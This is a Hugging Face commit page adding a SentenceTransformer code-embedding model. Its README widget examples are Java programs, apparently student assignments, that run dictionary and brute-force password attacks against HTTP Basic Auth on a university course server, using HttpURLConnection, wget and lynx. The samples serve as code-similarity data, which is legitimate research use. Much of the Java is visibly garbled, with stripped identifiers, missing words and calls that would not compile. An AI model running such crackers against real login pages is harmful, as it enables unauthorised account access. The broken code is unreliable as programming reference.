buelfhood commited on
Commit
e9e258c
·
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1 Parent(s): 17f6017

Add new SentenceTransformer model

Browse files
1_Pooling/config.json ADDED
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1
+ {
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+ "word_embedding_dimension": 768,
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+ "pooling_mode_cls_token": false,
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+ "pooling_mode_mean_tokens": true,
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+ "pooling_mode_max_tokens": false,
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+ "pooling_mode_mean_sqrt_len_tokens": false,
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+ "pooling_mode_weightedmean_tokens": false,
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+ "pooling_mode_lasttoken": false,
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+ "include_prompt": true
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+ }
README.md ADDED
@@ -0,0 +1,1026 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ tags:
3
+ - sentence-transformers
4
+ - sentence-similarity
5
+ - feature-extraction
6
+ - generated_from_trainer
7
+ - dataset_size:33411
8
+ - loss:SoftmaxLoss
9
+ base_model: microsoft/unixcoder-base-unimodal
10
+ widget:
11
+ - source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\
12
+ public class Dictionary\n{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
13
+ ;\n private static String password;\n private static int length; \
14
+ \ \n private static int t_counter; \n private static int f_counter;\
15
+ \ \n \n private static int respCode;\
16
+ \ \n private static BufferedReader buf; \n\n public Dictionary()\n\
17
+ \ {\n FileReader fRead;\n Authenticator.setDefault(new DictionaryAuthenticator());\n\
18
+ \ t_counter = 0;\n f_counter = 0;\n length = 0;\n\n try\n\
19
+ \ {\n fRead = new FileReader(\"/usr/share/lib/dict/words\");\n \
20
+ \ buf = new BufferedReader(fRead);\n }\n catch (FileNotFoundException\
21
+ \ e)\n {\n System.out.println(\"File not found\");\n }\n }\n\
22
+ \n public static void main(String[] args)\n {\n Dictionary dict = new\
23
+ \ Dictionary();\n String file = \" \";\n while(respCode != 200 )\n \
24
+ \ {\n file = dict.fetchURL();\n }\n System.out.println(\"\
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+ Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\
26
+ \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\
27
+ \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\
28
+ \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\
29
+ \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
30
+ \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\
31
+ \ BufferedReader in = \n new BufferedReader (new InputStreamReader\
32
+ \ (content));\n String line;\n while ((line = in.readLine()) !=\
33
+ \ null) \n {\n pw.println(line);\n }\n } catch\
34
+ \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\
35
+ \ sw.toString();\n }\n \n class DictionaryAuthenticator extends\
36
+ \ Authenticator \n {\n private String username = \"\";\n\n protected\
37
+ \ PasswordAuthentication getPasswordAuthentication()\n {\n return\
38
+ \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\
39
+ \ char[] generatePassword()\n {\n String word = null;\n int\
40
+ \ chars;\n char c[] = null;\n \n chars = 0;\n \n \
41
+ \ if(f_counter == 0) \n \n \n { \n try\n \
42
+ \ {\n \n {\n word = buf.readLine();\n\
43
+ \ if(word != null)\n {\n \
44
+ \ length = word.length();\n chars = 0;\n \
45
+ \ for(int i=0; i<length; i++)\n {\n \
46
+ \ if(Character.isLetter(word.charAt(i))) chars++;\n }\n\
47
+ \ }\n }\n while( word != null &&\
48
+ \ (length > 3 || chars != length));\n\n }\n catch (IOException\
49
+ \ ioe)\n {\n System.out.println(\"IO Error: \" + ioe);\n\
50
+ \ }\n\n if(word != null)\n {\n \
51
+ \ c = word.toCharArray(); \n password = new String(c);\n \
52
+ \ } \n else\n {\n System.out.println(\"\
53
+ \ more words in dictionary\");\n System.exit(0);\n }\n\
54
+ \n f_counter++;\n } \n else\n \n {\n\
55
+ \ c = password.toCharArray(); \n for(int i=0; i< length;\
56
+ \ i++)\n {\n if(Character.isLowerCase(c[i]))\n \
57
+ \ {\n c[i] = Character.toUpperCase(c[i]);\n \
58
+ \ }\n else\n {\n c[i] = Character.toLowerCase(c[i]);\n\
59
+ \ }\n }\n password = new String(c);\n \
60
+ \ f_counter = 0;\n }\n\n t_counter++;\n\n return\
61
+ \ c;\n }\n }\n}\n"
62
+ sentences:
63
+ - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
64
+ \ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
65
+ \ String pass = new String();\n String UserPass = new String();\n String status\
66
+ \ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
67
+ \ URLConnection connect;\n int start,end,diff;\n try {\n URL\
68
+ \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
69
+ \ start =System.currentTimeMillis();\n\n BufferedReader dis =\
70
+ \ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
71
+ \ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
72
+ \",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
73
+ \ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
74
+ Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
75
+ Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
76
+ ,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
77
+ \ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
78
+ HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
79
+ \ is \" + pass);\n end=System.currentTimeMillis();\n \
80
+ \ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
81
+ \ + \" secs\");\n System.exit(0);\n }\n \
82
+ \ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
83
+ \ }\n\n System.out.println(\" match found\");\n\n \
84
+ \ dis.close();\n dis=null;\n\n connect = null;\n\n\
85
+ \ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
86
+ Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
87
+ Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
88
+ - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
89
+ {\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
90
+ \ static void main(String[] args) throws IOException\n {\n BruteForce bf=new\
91
+ \ BruteForce();\n System.out.println(\" cracking...\");\n time1=new Date().getTime();\n\
92
+ \ bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
93
+ Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n System.out.println(\"\
94
+ costs \"+(time2-time1)+\" milliseconds\");\n System.exit(1);\n }\n\n void doBruteForce(int\
95
+ \ time1) throws IOException\n {\n passwd=new char[3];\n Runtime rt=Runtime.getRuntime();\n\
96
+ \ num=0;\n for(int i=(int)'z';i>=(int)'A';i--)\n {\n if(i==96)\n i=90;\n\
97
+ \ passwd[0]=(char)i;\n for(int j=(int)'z';j>=(int)'A';j--)\n {\n \
98
+ \ if(j==96)\n j=90;\n passwd[1]=(char)j;\n for(int k=(int)'z';k>=(int)'A';k--)\n\
99
+ \ {\n if(k==96)\n k=90;\n passwd[2]=(char)k;\n String\
100
+ \ password=new String(passwd);\n\t\t\ttry\n {\n\t\t\t\tnum++;\n\n\t\t\t\t\
101
+ \n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
102
+ );\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
103
+ \t p.destroy();\n\n\t\t\t\tif(ln!=null)\n \n if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
104
+ \ {\n\n System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
105
+ Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
106
+ password is \"+password);\n time2=new Date().getTime();\n System.out.println(\"\
107
+ costs \"+(time2-time1)+\" milliseconds\");\n System.out.println(\"The\
108
+ \ number of attempts is \"+num);\n\t\t System.exit(1);\n }\n \
109
+ \ \n \n\n } catch (FileNotFoundException exc) {\n System.out.println\
110
+ \ (\"File Not Found\");\n\t\t\t\tk++;\n } catch (IOException exc) {\n\t\t\
111
+ \ System.out.println (\"IOException\");\n k++;\n } catch (NullPointerException\
112
+ \ exc) {\n\t\t System.out.println (\"NullPointerException\");\n k++;\n\
113
+ \t \t}\n\n }\n }\n }\n }\n}\n"
114
+ - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
115
+ {\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
116
+ \ static void main(String[] args) throws IOException\n {\n BruteForce bf=new\
117
+ \ BruteForce();\n System.out.println(\" cracking...\");\n time1=new Date().getTime();\n\
118
+ \ bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
119
+ Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n System.out.println(\"\
120
+ costs \"+(time2-time1)+\" milliseconds\");\n System.exit(1);\n }\n\n void doBruteForce(int\
121
+ \ time1) throws IOException\n {\n passwd=new char[3];\n Runtime rt=Runtime.getRuntime();\n\
122
+ \ num=0;\n for(int i=(int)'z';i>=(int)'A';i--)\n {\n if(i==96)\n i=90;\n\
123
+ \ passwd[0]=(char)i;\n for(int j=(int)'z';j>=(int)'A';j--)\n {\n \
124
+ \ if(j==96)\n j=90;\n passwd[1]=(char)j;\n for(int k=(int)'z';k>=(int)'A';k--)\n\
125
+ \ {\n if(k==96)\n k=90;\n passwd[2]=(char)k;\n String\
126
+ \ password=new String(passwd);\n\t\t\ttry\n {\n\t\t\t\tnum++;\n\n\t\t\t\t\
127
+ \n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
128
+ );\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
129
+ \t p.destroy();\n\n\t\t\t\tif(ln!=null)\n \n if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
130
+ \ {\n\n System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
131
+ Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
132
+ password is \"+password);\n time2=new Date().getTime();\n System.out.println(\"\
133
+ costs \"+(time2-time1)+\" milliseconds\");\n System.out.println(\"The\
134
+ \ number of attempts is \"+num);\n\t\t System.exit(1);\n }\n \
135
+ \ \n \n\n } catch (FileNotFoundException exc) {\n System.out.println\
136
+ \ (\"File Not Found\");\n\t\t\t\tk++;\n } catch (IOException exc) {\n\t\t\
137
+ \ System.out.println (\"IOException\");\n k++;\n } catch (NullPointerException\
138
+ \ exc) {\n\t\t System.out.println (\"NullPointerException\");\n k++;\n\
139
+ \t \t}\n\n }\n }\n }\n }\n}\n"
140
+ - source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\
141
+ \npublic class Dictionary\n{\n public static void main(String args[])\n {\n\
142
+ \ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
143
+ \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
144
+ \ String s = null;\n int num_tries = 0;\n \n try\n {\n\
145
+ \ \n BufferedReader dict_word = new BufferedReader\n \
146
+ \ (new FileReader (DICT_FILE));\n \n \n \
147
+ \ while((password = dict_word.readLine())!= null)\n { \n \
148
+ \ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
149
+ wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
150
+ \ \n BufferedReader stdInput = new BufferedReader(new \n \
151
+ \ InputStreamReader(p.getInputStream()));\n\n \
152
+ \ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
153
+ \n \n while ((s = stdInput.readLine()) != null)\n\
154
+ \ {\n System.out.println(s);\n }\n\
155
+ \ \n \n while ((s = stdError.readLine())\
156
+ \ != null)\n {\n System.out.println(s);\n \
157
+ \ }\n\n try\n\t {\n p.waitFor();\
158
+ \ \n }\n catch (InterruptedException g) \n \
159
+ \ {\n } \n\n num_tries++;\n \
160
+ \ \n if((p.exitValue()) == 0) \n { \n \
161
+ \ System.out.println(\"**********PASSWORD IS: \" + password);\n\
162
+ \t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
163
+ \ System.exit(1);\n }\n }\n \
164
+ \ catch (IOException e)\n {\n System.out.println(\"\
165
+ exception happened - here's what I know: \");\n e.printStackTrace();\n\
166
+ \ System.exit(-1);\n }\n }\n \n \
167
+ \ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
168
+ \ System.out.println(\"**********Sorry, password was not found in dictionary\
169
+ \ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
170
+ \ exception)\n {\n System.out.println(exception);\n }\n \
171
+ \ catch (IOException exception)\n {\n System.out.println(exception);\n\
172
+ \ }\n }\n}\n \n"
173
+ sentences:
174
+ - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
175
+ \ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
176
+ \ String pass = new String();\n String UserPass = new String();\n String status\
177
+ \ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
178
+ \ URLConnection connect;\n int start,end,diff;\n try {\n URL\
179
+ \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
180
+ \ start =System.currentTimeMillis();\n\n BufferedReader dis =\
181
+ \ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
182
+ \ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
183
+ \",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
184
+ \ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
185
+ Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
186
+ Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
187
+ ,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
188
+ \ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
189
+ HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
190
+ \ is \" + pass);\n end=System.currentTimeMillis();\n \
191
+ \ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
192
+ \ + \" secs\");\n System.exit(0);\n }\n \
193
+ \ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
194
+ \ }\n\n System.out.println(\" match found\");\n\n \
195
+ \ dis.close();\n dis=null;\n\n connect = null;\n\n\
196
+ \ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
197
+ Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
198
+ Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
199
+ - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
200
+ \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
201
+ \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
202
+ \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
203
+ \ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
204
+ \ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
205
+ \ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
206
+ \ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
207
+ \ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
208
+ \ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
209
+ \ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
210
+ \ {\n String s1 = new StringBuffer().append( letters[i]).append(\
211
+ \ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
212
+ \ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
213
+ \ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
214
+ \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
215
+ \ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
216
+ \ \n for( i = 0; i < letters.length; i++)\n {\n String\
217
+ \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
218
+ \t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
219
+ \ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
220
+ \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
221
+ \t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
222
+ \ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
223
+ \ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
224
+ \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
225
+ \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
226
+ \t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
227
+ \ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
228
+ \ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
229
+ \ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
230
+ \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
231
+ \ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
232
+ \ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
233
+ \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
234
+ \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
235
+ \t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
236
+ \t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
237
+ \t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
238
+ \t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
239
+ \ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
240
+ \ }\n }\n \n public static void main( String[] args)\n {\n\
241
+ \ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
242
+ \ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
243
+ \ elements loaded\");\n }\n}\n \n"
244
+ - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
245
+ \ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
246
+ \ String pass = new String();\n String UserPass = new String();\n String status\
247
+ \ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
248
+ \ URLConnection connect;\n int start,end,diff;\n try {\n URL\
249
+ \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
250
+ \ start =System.currentTimeMillis();\n\n BufferedReader dis =\
251
+ \ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
252
+ \ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
253
+ \",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
254
+ \ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
255
+ Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
256
+ Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
257
+ ,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
258
+ \ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
259
+ HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
260
+ \ is \" + pass);\n end=System.currentTimeMillis();\n \
261
+ \ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
262
+ \ + \" secs\");\n System.exit(0);\n }\n \
263
+ \ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
264
+ \ }\n\n System.out.println(\" match found\");\n\n \
265
+ \ dis.close();\n dis=null;\n\n connect = null;\n\n\
266
+ \ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
267
+ Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
268
+ Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
269
+ - source_sentence: "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce\
270
+ \ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
271
+ \ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
272
+ \ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
273
+ \ boolean morePasswords = true;\n int passPtr = 0;\n StringBuffer\
274
+ \ validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
275
+ );\n char[] password = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n\
276
+ \ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
277
+ ;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\
278
+ \ URL url = new URL(resource);\n HttpURLConnection conn\
279
+ \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
280
+ HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
281
+ \ {\n System.out.println(\"cracked with \" + new String(password));\n\
282
+ \ auth = true;\n }\n } catch (Exception e) {\n\
283
+ \ System.out.println(\" was exception: \" + e.getMessage());\n \
284
+ \ }\n int count = passPtr;\n while (true) {\n \
285
+ \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \
286
+ \ password[count] = validChars.charAt(0);\n count--;\n\
287
+ \ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
288
+ \ + 1);\n break;\n }\n if (count < 0) {\n\
289
+ \ \n if (passPtr < MAX_LENGTH - 1) {\n \
290
+ \ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\
291
+ \ } else {\n morePasswords = false;\n \
292
+ \ }\n break;\n }\n }\n \n }\
293
+ \ \n if (!auth) {\n System.out.println(\"Unable determine password\"\
294
+ );\n } else {\n time = (new Date()).getTime() - start.getTime();\n\
295
+ \ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
296
+ \ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\
297
+ \ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\
298
+ \ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\
299
+ \ {\n String user = \"\";\n return new PasswordAuthentication(user,\
300
+ \ password);\n }\n}\n"
301
+ sentences:
302
+ - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
303
+ public class Dictionary\n{\n public static void main(String args[])\n {\n\
304
+ \ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
305
+ \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
306
+ \ String s = null;\n int num_tries = 0;\n \n try\n {\n\
307
+ \ \n BufferedReader dict_word = new BufferedReader\n \
308
+ \ (new FileReader (DICT_FILE));\n \n \n \
309
+ \ while((password = dict_word.readLine())!= null)\n { \n \
310
+ \ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
311
+ wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
312
+ \ \n BufferedReader stdInput = new BufferedReader(new \n \
313
+ \ InputStreamReader(p.getInputStream()));\n\n \
314
+ \ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
315
+ \n \n while ((s = stdInput.readLine()) != null)\n\
316
+ \ {\n System.out.println(s);\n }\n\
317
+ \ \n \n while ((s = stdError.readLine())\
318
+ \ != null)\n {\n System.out.println(s);\n \
319
+ \ }\n\n try\n\t {\n p.waitFor();\
320
+ \ \n }\n catch (InterruptedException g) \n \
321
+ \ {\n } \n\n num_tries++;\n \
322
+ \ \n if((p.exitValue()) == 0) \n { \n \
323
+ \ System.out.println(\"**********PASSWORD IS: \" + password);\n\
324
+ \t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
325
+ \ System.exit(1);\n }\n }\n \
326
+ \ catch (IOException e)\n {\n System.out.println(\"\
327
+ exception happened - here's what I know: \");\n e.printStackTrace();\n\
328
+ \ System.exit(-1);\n }\n }\n \n \
329
+ \ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
330
+ \ System.out.println(\"**********Sorry, password was not found in dictionary\
331
+ \ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
332
+ \ exception)\n {\n System.out.println(exception);\n }\n \
333
+ \ catch (IOException exception)\n {\n System.out.println(exception);\n\
334
+ \ }\n }\n}\n \n"
335
